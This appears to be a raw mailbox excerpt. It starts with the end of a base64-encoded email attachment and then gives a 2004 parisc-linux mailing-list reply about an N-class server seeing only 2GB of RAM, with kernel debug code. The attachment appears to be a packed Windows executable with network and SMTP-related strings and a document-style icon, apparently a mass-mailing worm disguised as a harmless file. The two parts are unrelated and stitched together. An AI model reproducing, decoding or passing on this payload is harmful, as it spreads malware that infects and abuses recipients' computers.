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
AfNQg8cI/5bwnQEAlYoHRwjAdNyJ+XkHD7cHR1BHuVdI8q5V/5b0nQEACcB0B4kDg8ME69j/
lvidAQBh6beo/v8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAgADAAAAIAAAgA4AAABgAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAA
AAAAAAAAAAABAAcEAABQAAAApKABAKgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQBlAAAA
eAAAgAAAAAAAAAAAAAAAAAAAAQAHBAAAkAAAAFCtAQAUAAAAAAAAAAAAAACgcAEAKAAAACAA
AABAAAAAAQAYAAAAAACADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgMDAwMDAwMDAwMDAwMDAwMDAwMDA
wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////////////////////////////////////
/////////////////////////////////////////////8DAwAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAICAgP//////////////////////////////////////////////////////////
/////////////////////////////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//
////////////////////////////////////////////////////////////////////////
/////////////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////////////
/////////////////////////////////8DAwMDAwMDAwMDAwMDAwMDAwP///////////8DA
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////////////////////////////
/////////////////////////////////////////////////////8DAwAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAICAgP///////////8DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA
wMDAwMDAwMDAwMDAwMDAwMDAwP///////////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AICAgP//////////////////////////////////////////////////////////////////
/////////////////////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////
/8DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwP//////
/////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////////////////////
/////////////////////////////////////////////////////////////8DAwAAAAP8A
AAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAMDAwMDAwMDA
wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwP///////////8DAwAAAAAAAAP8AAAAAAP8AAAAA
AP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAP//////////////////////////
/////////////////////////////8DAwAAAAP8AAAAAAP//////////////////////////
//////////////////////8AAAAAAMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA
wP///////////8DAwAAAAAAAAP8AAP////8AAAAAAP8AAP////8AAAAAAP8AAAAAAP//////
/////wAAAP8AAP///////////////////////////////////////////////////////8DA
wAAAAP8AAAAAAP///wAAAP8AAAAAAP///wAAAP8AAAAAAP8AAMDAwP////////8AAAAAAMDA
wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwP///////////8DAwAAAAAAAAP8AAP//
//8AAAAAAP8AAP////8AAAAAAP8AAAAAAICAgP///////wAAAP8AAP//////////////////
/////////////////////////////////////8DAwAAAAP8AAAAAAP///wAAAP8AAAAAAP8A
AAAAAP8AAAAAAP8AAAAAAP////////8AAAAAAMDAwMDAwP///////8DAwMDAwMDAwMDAwMDA
wMDAwMDAwP///////////8DAwAAAAAAAAP8AAP////8AAAAAAP8AAAAAAP8AAAAAAP8AAAAA
AP8AAMDAwP///wAAAP8AAP///////////////8DAwMDAwMDAwP///8DAwMDAwMDAwP//////
/////8DAwAAAAP8AAAAAAP///wAAAP8AAP////8AAAAAAP8AAP////8AAAAAAICAgP////8A
AAAAAMDAwMDAwP///////8DAwMDAwP///////////////8DAwP///////////8DAwAAAAAAA
AP8AAAAAAP8AAAAAAP///wAAAP8AAAAAAP///wAAAP8AAAAAAP///wAAAP8AAP//////////
/////8DAwMDAwMDAwP///////8DAwMDAwP///////////8DAwAAAAP8AAAAAAP8AAAAAAP8A
AP////8AAAAAAP8AAP////8AAAAAAP8AAAAAAP8AAAAAAMDAwMDAwP///////8DAwP//////
/////////////8DAwP///////////8DAwAAAAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAA
AP8AAAAAAP8AAAAAAP8AAAAAAP8AAP///////////////8DAwMDAwP///////4CAgAAAAAAA
AAAAAAAAAAAAAAAAAAAAAP8AAAAAAP//////////////////////////////////////////
//////8AAAAAAP///////////////8DAwMDAwMDAwMDAwICAgP///////////8DAwICAgAAA
AAAAAAAAAP8AAP///////////////////////////////////////////////wAAAP8AAP//
/////////////8DAwMDAwMDAwMDAwICAgP///////8DAwICAgAAAAAAAAAAAAP8AAAAAAP8A
AAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP//////////////////
/////////////4CAgP///8DAwICAgAAAAAAAAAAAAAAAAAAAAP8AAAAAAP8AAAAAAP8AAAAA
AP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAP///////////////////////////////4CA
gMDAwICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////
/////////////////////////////////////////////////////4CAgICAgAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////////////////////
/////////////////////////////////////4CAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA
gICAgICAgICAgICAgICAgICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/////+AAAA/gAAAP4AAAD+AAAA/gAAAP4A
AAD+AAAA/gAAAP4AAAD+AAAA/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAAABwAAAA/+AAAf/gAAP/4AAH//////SH0BAAAA
AQABACAgAAABABgAqAwAAAEAAAAAAAAAAAAAAAAAKK4BAPCtAQAAAAAAAAAAAAAAAAA1rgEA
AK4BAAAAAAAAAAAAAAAAAEKuAQAIrgEAAAAAAAAAAAAAAAAAT64BABCuAQAAAAAAAAAAAAAA
AABargEAGK4BAAAAAAAAAAAAAAAAAGauAQAgrgEAAAAAAAAAAAAAAAAAAAAAAAAAAABwrgEA
fq4BAI6uAQAAAAAAnK4BAAAAAACqrgEAAAAAALyuAQAAAAAAyK4BAAAAAAADAACAAAAAAEtF
Uk5FTDMyLkRMTABBRFZBUEkzMi5kbGwAaXBobHBhcGkuZGxsAFVTRVIzMi5kbGwAV0lOSU5F
VC5kbGwAV1MyXzMyLmRsbAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFBy
b2Nlc3MAAABSZWdDbG9zZUtleQAAAEdldE5ldHdvcmtQYXJhbXMAAHdzcHJpbnRmQQAAAElu
dGVybmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

--75266516--



From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux only see 2Gb of ram of N4k
Date: Tue, 23 Mar 2004 16:07:14 +0100
Lines: 200
Approved: news@gmane.org
Message-ID: <40561EAF00005B43@ocpmta1.freegates.net>
References: <402A42A100007F17@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623296 7155 80.91.229.3 (22 Nov 2014 02:28:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Tue Mar 23 08:07:24 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 25452482A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Mar 2004 08:07:24 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B5nUp-0001Dc-00; Tue, 23 Mar 2004 16:07:15 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 23 Mar 2004 16:07:14 +0100
In-Reply-To: <402A42A100007F17@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Mar 2004 15:07:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21167

Hi Grant,

I come back to you with more relevant info (I hope)
>I'm pretty sure it will look like this:
>RAM      Phys Address
>0-2GB -> 0-2GB
>      -> 2-4GB I/O Space (mostly PCI MMIO)
>2-4GB -> 4-6GB (courtesy of the memory controller)
>
>The N-class was the first box which has an I/O hole from 2-4GB
>physical address range. I hope Joel will be able to confirm this.
>If not, I likely have documentation to confirm this.
>
I added some more printk as follow:
in arch/parisc/kernel/inventory.c

static void __init pat_memconfig(void)
{
        unsigned long actual_len;
        struct pdc_pat_pd_addr_map_entry mem_table[PAT_MAX_RANGES+1];
        struct pdc_pat_pd_addr_map_entry *mtbl_ptr;
        physmem_range_t *pmem_ptr;
        long status;
        int entries;
        unsigned long length;
        int i;

        length = (PAT_MAX_RANGES + 1) * sizeof(struct pdc_pat_pd_addr_map_entry);

        status = pdc_pat_pd_get_addr_map(&actual_len, mem_table, length,
0L);

/* JSO S */
        if ((status == PDC_OK)) {
                printk("Status == PDC_OK.\n");
                printk("Sizeof(struct pdc_pat_pd_addr_map_entry) = %d.\n",
sizeof(struct pdc_pat_pd_addr_map_entry));
                printk("actual_len = %ld.\n", actual_len);
                printk("length = %ld.\n", length);
        }
/* JSO E */
        if ((status != PDC_OK)
            || ((actual_len % sizeof(struct pdc_pat_pd_addr_map_entry)) !=
0)) {

                /* The above pdc call shouldn't fail, but, just in
                 * case, just use the PAGE0 info.
                 */

                printk("\n\n\n");
                printk(KERN_WARNING "WARNING! Could not get full memory configuration.
"
                        "All memory may not be used!\n\n\n");
                pagezero_memconfig();
                return;
        }

        entries = actual_len / sizeof(struct pdc_pat_pd_addr_map_entry);
        printk("entries = %d.\n", entries);

        if (entries > PAT_MAX_RANGES) {
                printk(KERN_WARNING "This Machine has more memory ranges
than we support!\n");
                printk(KERN_WARNING "Some memory may not be used!\n");
        }

        /* Copy information into the firmware independent pmem_ranges
         * array, skipping types we don't care about. Notice we said
         * "may" above. We'll use all the entries that were returned.
         */

        npmem_ranges = 0;
        mtbl_ptr = mem_table;
        pmem_ptr = pmem_ranges; /* Global firmware independent table */
        for (i = 0; i < entries; i++,mtbl_ptr++) {
                if (   (mtbl_ptr->entry_type != PAT_MEMORY_DESCRIPTOR)
                    || (mtbl_ptr->memory_type != PAT_MEMTYPE_MEMORY)
                    || (mtbl_ptr->pages == 0)
                    || (   (mtbl_ptr->memory_usage != PAT_MEMUSE_GENERAL)
                        && (mtbl_ptr->memory_usage != PAT_MEMUSE_GI)
                        && (mtbl_ptr->memory_usage != PAT_MEMUSE_GNI) ) )
{

                        continue;
                }

                if (npmem_ranges == MAX_PHYSMEM_RANGES) {
                        printk(KERN_WARNING "This Machine has more memory
ranges than we support!\n");
                        printk(KERN_WARNING "Some memory will not be used!\n");
                        break;
                }

                set_pmem_entry(pmem_ptr++,mtbl_ptr->paddr,mtbl_ptr->pages);
                npmem_ranges++;
        }
        for (i = 0; i < entries; i++)
                printk("pmem_ranges[%d].pages = %ld.\n", i, pmem_ranges[i].pages);
